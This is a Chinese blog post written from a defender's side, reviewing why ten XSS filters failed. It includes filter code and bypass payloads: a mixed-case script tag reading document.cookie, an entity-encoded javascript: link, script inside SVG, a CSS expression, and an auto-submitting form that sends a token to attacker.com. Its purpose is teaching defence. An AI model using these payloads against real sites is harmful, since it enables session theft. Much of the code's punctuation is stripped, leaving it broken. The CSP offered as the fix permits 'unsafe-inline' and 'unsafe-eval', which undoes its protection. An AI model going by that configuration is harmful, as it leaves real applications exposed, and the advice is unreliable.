从防御者视角复盘:我是如何用10种过滤规则,依然被XSS payload绕过的(含代码示例)
从防御者视角复盘10种XSS过滤规则为何依然失效去年负责公司核心业务系统的安全加固时我遭遇了职业生涯最棘手的XSS攻防战。当时系统已部署10层过滤机制包括业界常见的HTML实体编码、关键词黑名单、属性白名单等防护措施。但渗透测试报告显示攻击者仍能通过5种不同方式实现注入。这次复盘将用真实代码演示攻击者如何层层突破防御以及我们最终构建的立体防护方案。1. 基础防御体系的构建与失效我们最初的安全方案采用了典型的纵深防御策略。在WAF层配置了以下规则# 示例1基础关键词过滤 def xss_filter(text): blacklist [script, onerror, javascript, eval] for word in blacklist: text text.replace(word, ) return html.escape(text)这套过滤在测试环境表现良好直到上线后第三周收到首例攻击警报。攻击payload如下ScRiptalert(document.cookie)/sCript关键失误仅进行小写匹配过滤未考虑大小写变种。更讽刺的是我们曾讨论过添加re.IGNORECASE标志但因担心性能影响而放弃。2. 编码绕过的艺术升级后的过滤系统增加了大小写不敏感匹配和部分编码检测# 示例2增强型过滤 def advanced_filter(text): pattern re.compile(rscript|on\w|javascript:, re.I) text pattern.sub(, text) return html.escape(text)但攻击者很快改用HTML实体编码img src#x6A;#x61;#x76;#x61;#x73;#x63;#x72;#x69;#x70;#x74;:alert(1)漏洞根源过滤顺序错误。应先解码再过滤而非相反。我们忽略了浏览器会先解码再执行的基本特性。3. 属性白名单的陷阱引入白名单机制后我们以为万无一失// 示例3DOM Purify配置 const clean DOMPurify.sanitize(dirty, { ALLOWED_TAGS: [p, b, i], ALLOWED_ATTR: [class, style] });直到发现攻击者利用SVG标签绕过svgscriptalert(1)/script/svg教训未考虑不同解析上下文。SVG内的script在部分浏览器仍会执行即使主文档禁止script标签。4. 动态创建的防御盲区前端框架的流行带来了新挑战。以下是我们的React防护代码// 示例4React防XSS function SafeComponent({ input }) { return div dangerouslySetInnerHTML{{ __html: sanitize(input) }} /; }攻击者通过CSS表达式注入div stylewidth: expression(alert(1))/div根本原因过度依赖框架安全机制忽略历史遗留攻击方式。CSS表达式在IE中仍可执行。5. 终极防御方案经历多次失败后我们采用分层防御策略防护层技术方案应对攻击类型输入层内容安全策略(CSP)阻断非法资源加载处理层上下文感知编码防止HTML/JS/CSS混淆输出层沙箱隔离限制DOM操作范围监控层行为检测识别异常脚本执行关键改进代码// 示例5CSP配置 Content-Security-Policy: default-src none; script-src self unsafe-inline unsafe-eval; style-src self; img-src self data:;实际部署中我们还发现HttpOnly cookie的局限性。虽然能防止cookie窃取但攻击者仍可通过以下方式劫持会话form actionhttps://attacker.com methodPOST input typehidden nametoken value... /form scriptdocument.forms[0].submit()/script这促使我们在关键操作增加二次认证而不仅依赖会话cookie。